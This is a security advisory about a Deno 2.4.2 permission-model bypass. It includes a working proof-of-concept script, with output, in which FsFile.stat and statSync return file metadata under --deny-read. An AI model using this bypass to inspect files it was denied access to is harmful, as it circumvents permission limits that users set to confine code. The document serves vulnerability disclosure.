JLSEC-2026-112

Summary

Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync are not limited by the permission model check --deny-read=./.

It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with --deny-read=./)

Similar APIs like Deno.stat and Deno.statSync require allow-read permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model.

PoC

Setup:

deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3

touch test1.txt

• poc_file.stat.ts

// touch test1.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
// deno run --allow-write=./ poc_file.stat.ts 1
async function poc1(){
    using file = await Deno.open("./test1.txt", { read: false, write: true});
    const fileInfo = await file.stat();
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
// deno run --allow-write=./ poc_file.stat.ts 2
function poc2(){
    using file = Deno.openSync("./test1.txt", { read: false, write: true});
    const fileInfo = file.statSync();
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3
// deno run --allow-write=./ poc_file.stat.ts 3
async function poc3(){
    // not executed
    const fileInfo = await Deno.stat("./test1.txt");
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4
// deno run --allow-write=./ poc_file.stat.ts 4
function poc4(){
    // not executed
    const fileInfo = Deno.statSync("./test1.txt");
    console.log(fileInfo.isFile);
}


async function main(){
    const poc = Deno.args[0] || 1;

    const status = await Deno.permissions.query({ name: "read", path: "./" });
    console.log(status);
    switch (poc) {
        case "1":
            poc1()
            break;
        case "2":
            poc2()
            break;
        case "3":
            poc3()
            break;
        case "4":
            poc4()
            break;
        default:
            poc1()
    }
}

main()

Output:

• deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1

PermissionStatus { state: "denied", onchange: null }
true

• deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2

PermissionStatus { state: "denied", onchange: null }
true

• deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3

PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
    const fileInfo = await Deno.stat("./test1.txt");
                                ^
    ...

• deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4

PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
    const fileInfo = Deno.statSync("./test1.txt");
                          ^
    ...

Impact

Permission model bypass